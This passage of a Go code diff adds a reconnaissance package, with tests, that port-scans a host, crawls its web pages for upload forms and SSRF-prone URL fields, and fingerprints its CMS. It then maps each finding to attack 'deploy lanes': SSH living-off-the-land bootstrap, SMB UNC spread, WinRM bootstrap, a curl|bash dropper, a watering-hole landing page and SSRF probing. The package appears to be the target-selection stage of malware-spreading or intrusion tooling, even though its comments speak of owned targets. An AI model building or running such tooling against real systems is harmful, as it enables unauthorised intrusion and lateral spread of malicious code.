cms = cmsFromText(pageURL, body)
if ssrfScore > 100 {
ssrfScore = 100
}
return fileInputs, multipart, urlFields, ssrfScore, cms
}
func parseForm(pageURL string, form *html.Node) FormFinding {
f := FormFinding{
PageURL: pageURL,
Action: attr(form, "action"),
Method: strings.ToLower(attr(form, "method")),
Enctype: strings.ToLower(attr(form, "enctype")),
}
if f.Method == "" {
f.Method = "get"
}
if strings.Contains(f.Enctype, "multipart") {
f.Multipart = true
}
for c := form.FirstChild; c != nil; c = c.NextSibling {
collectFormFields(c, &f)
}
return f
}
func collectFormFields(n *html.Node, f *FormFinding) {
if n.Type == html.ElementNode {
switch n.Data {
case "input", "textarea", "select":
name := attr(n, "name")
if name != "" {
f.Fields = append(f.Fields, name)
}
if n.Data == "input" && strings.EqualFold(attr(n, "type"), "file") {
f.HasFile = true
f.Multipart = true
}
if field := parseURLField(f.PageURL, n); field != nil {
f.Fields = append(f.Fields, field.Name+"("+field.Hint+")")
}
}
}
for c := n.FirstChild; c != nil; c = c.NextSibling {
collectFormFields(c, f)
}
}
func parseURLField(pageURL string, n *html.Node) *URLFieldFinding {
name := attr(n, "name")
id := attr(n, "id")
placeholder := attr(n, "placeholder")
return parseURLFieldFromNamed(pageURL, name, id, placeholder)
}
func parseURLFieldFromNamed(pageURL, name, id, placeholder string) *URLFieldFinding {
joined := strings.ToLower(strings.Join([]string{name, id, placeholder}, " "))
for _, hint := range urlFieldHints {
if strings.Contains(joined, hint) {
label := name
if label == "" {
label = id
}
return &URLFieldFinding{
PageURL: pageURL,
Name: label,
Type: "text",
Hint: hint,
}
}
}
return nil
}
func scoreForm(f FormFinding) int {
score := 0
action := strings.ToLower(f.Action)
for _, hint := range urlFieldHints {
if strings.Contains(action, hint) {
score += 15
}
}
for _, field := range f.Fields {
lower := strings.ToLower(field)
for _, hint := range urlFieldHints {
if strings.Contains(lower, hint) {
score += 5
}
}
}
if f.HasFile {
score += 5
}
return score
}
func cmsFromText(pageURL, body string) []string {
seen := map[string]bool{}
var out []string
lowerURL := strings.ToLower(pageURL)
lowerBody := strings.ToLower(body)
add := func(tag string) {
if tag == "" || seen[tag] {
return
}
seen[tag] = true
out = append(out, tag)
}
for _, marker := range cmsPathMarkers {
if strings.Contains(lowerURL, marker.path) || strings.Contains(lowerBody, marker.path) {
add(marker.tag)
}
}
if strings.Contains(lowerBody, "strapi") {
add("strapi")
}
if strings.Contains(lowerBody, "wp-content") || strings.Contains(lowerBody, "wordpress") {
add("wordpress")
}
return out
}
func extractTitle(root *html.Node) string {
var title string
var walk func(*html.Node)
walk = func(n *html.Node) {
if n.Type == html.ElementNode && n.Data == "title" && n.FirstChild != nil {
title = strings.TrimSpace(n.FirstChild.Data)
return
}
for c := n.FirstChild; c != nil; c = c.NextSibling {
walk(c)
}
}
walk(root)
return title
}
func attr(n *html.Node, key string) string {
for _, a := range n.Attr {
if a.Key == key {
return a.Val
}
}
return ""
}
func readBodyLimited(r io.Reader, max int64) (string, error) {
buf := new(bytes.Buffer)
_, err := io.Copy(buf, io.LimitReader(r, max))
if err != nil {
return "", err
}
return buf.String(), nil
}

View File

@@ -0,0 +1,32 @@
package recon
import (
"net"
"strconv"
"time"
)
// dialPortFn overrides TCP probes in tests (nil = live dial from server host).
var dialPortFn func(host string, port int, timeout time.Duration) bool
// ScanPorts TCP-dials common fleet ports on host with timeout from server host.
func ScanPorts(host string) []PortResult {
out := make([]PortResult, 0, len(FleetPorts))
for _, port := range FleetPorts {
out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)})
}
return out
}
func dialPort(host string, port int, timeout time.Duration) bool {
if dialPortFn != nil {
return dialPortFn(host, port, timeout)
}
addr := net.JoinHostPort(host, strconv.Itoa(port))
conn, err := net.DialTimeout("tcp", addr, timeout)
if err != nil {
return false
}
_ = conn.Close()
return true
}

View File

@@ -0,0 +1,186 @@
package recon
import (
"encoding/json"
"net/http"
"net/http/httptest"
"net/url"
"strings"
"testing"
"time"
)
func TestScanPortsWithInject(t *testing.T) {
SetPortDialHook(func(host string, port int, _ time.Duration) bool {
if host != "10.0.0.5" {
t.Fatalf("host=%q", host)
}
return port == 22 || port == 443
})
t.Cleanup(func() { SetPortDialHook(nil) })
results := ScanPorts("10.0.0.5")
open := map[int]bool{}
for _, r := range results {
if r.Open {
open[r.Port] = true
}
}
if !open[22] || !open[443] {
t.Fatalf("open=%v", open)
}
if open[445] {
t.Fatal("445 should be closed")
}
}
func TestParseHTMLFixtures(t *testing.T) {
body := `<html><head><title>Upload</title></head><body>
<form action="/import" method="post" enctype="multipart/form-data">
<input type="file" name="payload">
<input type="text" name="webhook_url" value="">
</form>
<a href="/admin/login">Admin</a>
<link href="/wp-content/themes/x/style.css">
</body></html>`
files, multi, fields, score, cms := ParseHTML("http://lab/upload", body)
if len(files) != 1 || !files[0].HasFile {
t.Fatalf("file inputs: %+v", files)
}
if len(multi) != 1 || !multi[0].Multipart {
t.Fatalf("multipart: %+v", multi)
}
if len(fields) == 0 {
t.Fatal("expected url fields")
}
if score < 10 {
t.Fatalf("ssrf score=%d", score)
}
if !containsStr(cms, "wordpress") && !containsStr(cms, "admin_login") {
t.Fatalf("cms=%v", cms)
}
}
func TestCrawlSameOriginDepth(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/":
w.Write([]byte(`<html><a href="/page2">next</a><a href="http://evil.example/x">off</a></html>`))
case "/page2":
w.Write([]byte(`<html><a href="/page3">deep</a></html>`))
case "/page3":
w.Write([]byte(`<html>leaf</html>`))
default:
http.NotFound(w, r)
}
}))
defer srv.Close()
u, err := url.Parse(srv.URL)
if err != nil {
t.Fatal(err)
}
port := 80
if p := u.Port(); p != "" {
port = atoi(p)
}
SetFetchPageHook(func(rawURL string) (int, string, error) {
resp, err := http.Get(rawURL)
if err != nil {
return 0, "", err
}
defer resp.Body.Close()
body, _ := readBodyLimited(resp.Body, maxHTMLBytes)
return resp.StatusCode, body, nil
})
t.Cleanup(func() { SetFetchPageHook(nil) })
report, err := Crawl(u.Hostname(), port, u.Scheme, []string{"/"})
if err != nil {
t.Fatal(err)
}
if report.PagesFetched < 2 {
t.Fatalf("pages=%d", report.PagesFetched)
}
for _, p := range report.Pages {
if strings.Contains(p.URL, "evil.example") {
t.Fatalf("followed off-origin %s", p.URL)
}
}
}
func TestScanReportRecommendations(t *testing.T) {
ports := []PortResult{
{Port: 22, Open: true},
{Port: 5985, Open: true},
{Port: 80, Open: true},
}
crawl := &CrawlReport{
MultipartForms: []FormFinding{{PageURL: "http://x/", Multipart: true}},
SSRFScore: 40,
}
recs := BuildRecommendations(ports, crawl)
if len(recs) < 5 {
t.Fatalf("recs=%+v", recs)
}
keys := map[string]bool{}
for _, r := range recs {
keys[r.Lane+"|"+r.Template] = true
}
for _, want := range []string{"linux_lotl|linux-lotl", "winrm|winrm", "bits_curl|", "stage_fetch|", "|ssrf_probe", "|public_waterhole"} {
if !keys[want] {
t.Fatalf("missing %q in %+v", want, recs)
}
}
}
func TestScanOwnedTarget(t *testing.T) {
SetPortDialHook(func(host string, port int, _ time.Duration) bool {
return port == 80
})
t.Cleanup(func() { SetPortDialHook(nil) })
SetFetchPageHook(func(rawURL string) (int, string, error) {
return 200, `<html><form enctype="multipart/form-data"><input type="file" name="f"></form></html>`, nil
})
t.Cleanup(func() { SetFetchPageHook(nil) })
report, err := Scan(ScanRequest{Host: "owned.lab", Port: 80, Scheme: "http"})
if err != nil {
t.Fatal(err)
}
if report.Host != "owned.lab" {
t.Fatalf("host=%q", report.Host)
}
if report.Crawl == nil || len(report.Recommendations) == 0 {
raw, _ := json.Marshal(report)
t.Fatalf("report=%s", raw)
}
}
func TestNormalizeOwnedHostRejectsEmpty(t *testing.T) {
if _, err := Scan(ScanRequest{}); err == nil {
t.Fatal("expected error")
}
}
func containsStr(list []string, want string) bool {
for _, s := range list {
if s == want {
return true
}
}
return false
}
func atoi(s string) int {
n := 0
for _, c := range s {
if c < '0' || c > '9' {
return 80
}
n = n*10 + int(c-'0')
}
if n == 0 {
return 80
}
return n
}

View File

@@ -0,0 +1,152 @@
package recon
import (
"fmt"
"net"
"strings"
"time"
)
// Scan runs port scan and optional web crawl for an operator-supplied owned target.
func Scan(req ScanRequest) (*ScanReport, error) {
host, err := normalizeOwnedHost(req.Host)
if err != nil {
return nil, err
}
ports := ScanPorts(host)
report := &ScanReport{
Host: host,
ScannedAt: time.Now().UTC(),
Ports: ports,
}
if shouldCrawl(req, ports) {
crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths)
if err == nil && crawl != nil {
report.Crawl = crawl
}
}
report.Recommendations = BuildRecommendations(ports, report.Crawl)
return report, nil
}
func normalizeOwnedHost(host string) (string, error) {
host = strings.TrimSpace(host)
if host == "" {
return "", fmt.Errorf("host required")
}
host = strings.TrimPrefix(host, "http://")
host = strings.TrimPrefix(host, "https://")
if i := strings.Index(host, "/"); i >= 0 {
host = host[:i]
}
if h, p, err := net.SplitHostPort(host); err == nil {
if strings.TrimSpace(h) == "" {
return "", fmt.Errorf("invalid host")
}
_ = p
host = h
}
if ip := net.ParseIP(host); ip != nil {
return ip.String(), nil
}
if len(host) > 253 || strings.Contains(host, " ") {
return "", fmt.Errorf("invalid host")
}
return strings.ToLower(host), nil
}
func shouldCrawl(req ScanRequest, ports []PortResult) bool {
if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 {
return true
}
for _, p := range ports {
switch p.Port {
case 80, 443, 8080, 8443:
if p.Open {
return true
}
}
}
return false
}
// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates.
func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation {
var recs []DeployRecommendation
open := map[int]bool{}
for _, p := range ports {
if p.Open {
open[p.Port] = true
}
}
if open[22] {
recs = append(recs, DeployRecommendation{
Lane: "linux_lotl",
Template: "linux-lotl",
Reason: "TCP 22 open — SSH LOTL bootstrap",
Priority: 25,
})
}
if open[445] {
recs = append(recs, DeployRecommendation{
Lane: "spread_smb_unc",
Reason: "TCP 445 open — SMB UNC spread",
Priority: 50,
})
}
if open[5985] || open[5986] {
recs = append(recs, DeployRecommendation{
Lane: "winrm",
Template: "winrm",
Reason: "TCP 5985/5986 open — WinRM bootstrap",
Priority: 30,
})
}
if open[80] || open[443] || open[8080] || open[8443] {
recs = append(recs, DeployRecommendation{
Lane: "bits_curl",
Reason: "HTTP surface open — dropper curl|bash one-liner",
Priority: 20,
})
recs = append(recs, DeployRecommendation{
Template: "public_waterhole",
Reason: "HTTP surface open — copy /spread/ public waterhole landing",
Priority: 15,
})
}
if crawl != nil {
if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 {
recs = append(recs, DeployRecommendation{
Lane: "stage_fetch",
Reason: "Multipart or file-upload form — stage_fetch manifest staging",
Priority: 35,
})
}
if crawl.SSRFScore >= 30 {
recs = append(recs, DeployRecommendation{
Template: "ssrf_probe",
Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore),
Priority: 45,
})
}
}
return dedupeRecommendations(recs)
}
func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation {
seen := map[string]bool{}
var out []DeployRecommendation
for _, r := range in {
key := r.Lane + "|" + r.Template
if seen[key] {
continue
}
seen[key] = true
out = append(out, r)
}
return out
}

View File

@@ -0,0 +1,80 @@
package recon
import "time"
// FleetPorts are TCP ports probed during browser-deploy recon.
var FleetPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 6262, 8080, 8443}
const (
DefaultPortDialTimeout = 2 * time.Second
DefaultCrawlDepth = 2
DefaultCrawlMaxPages = 50
)
// ScanRequest is operator-supplied owned-target input.
type ScanRequest struct {
Host string `json:"host"`
Port int `json:"port,omitempty"`
Scheme string `json:"scheme,omitempty"`
Paths []string `json:"paths,omitempty"`
}
// PortResult is one TCP dial outcome.
type PortResult struct {
Port int `json:"port"`
Open bool `json:"open"`
}
// FormFinding describes an HTML form of interest.
type FormFinding struct {
PageURL string `json:"page_url"`
Action string `json:"action,omitempty"`
Method string `json:"method,omitempty"`
Enctype string `json:"enctype,omitempty"`
Fields []string `json:"fields,omitempty"`
HasFile bool `json:"has_file_input,omitempty"`
Multipart bool `json:"multipart,omitempty"`
}
// URLFieldFinding is an input/textarea whose name or label hints URL fetch behavior.
type URLFieldFinding struct {
PageURL string `json:"page_url"`
Name string `json:"name"`
Type string `json:"type,omitempty"`
Hint string `json:"hint"`
}
// PageFinding summarizes one crawled page.
type PageFinding struct {
URL string `json:"url"`
StatusCode int `json:"status_code"`
Title string `json:"title,omitempty"`
}
// CrawlReport aggregates web surface findings.
type CrawlReport struct {
PagesFetched int `json:"pages_fetched"`
Pages []PageFinding `json:"pages,omitempty"`
FileInputs []FormFinding `json:"file_inputs,omitempty"`
MultipartForms []FormFinding `json:"multipart_forms,omitempty"`
URLFields []URLFieldFinding `json:"url_fields,omitempty"`
SSRFScore int `json:"ssrf_score"`
CMSFingerprints []string `json:"cms_fingerprints,omitempty"`
}
// DeployRecommendation maps recon findings to an existing spread/deploy lane or template.
type DeployRecommendation struct {
Lane string `json:"lane,omitempty"`
Template string `json:"template,omitempty"`
Reason string `json:"reason"`
Priority int `json:"priority"`
}
// ScanReport is the full owned-target recon payload returned by POST /api/v1/recon/scan.
type ScanReport struct {
Host string `json:"host"`
ScannedAt time.Time `json:"scanned_at"`
Ports []PortResult `json:"ports"`
Crawl *CrawlReport `json:"crawl,omitempty"`
Recommendations []DeployRecommendation `json:"recommendations,omitempty"`
}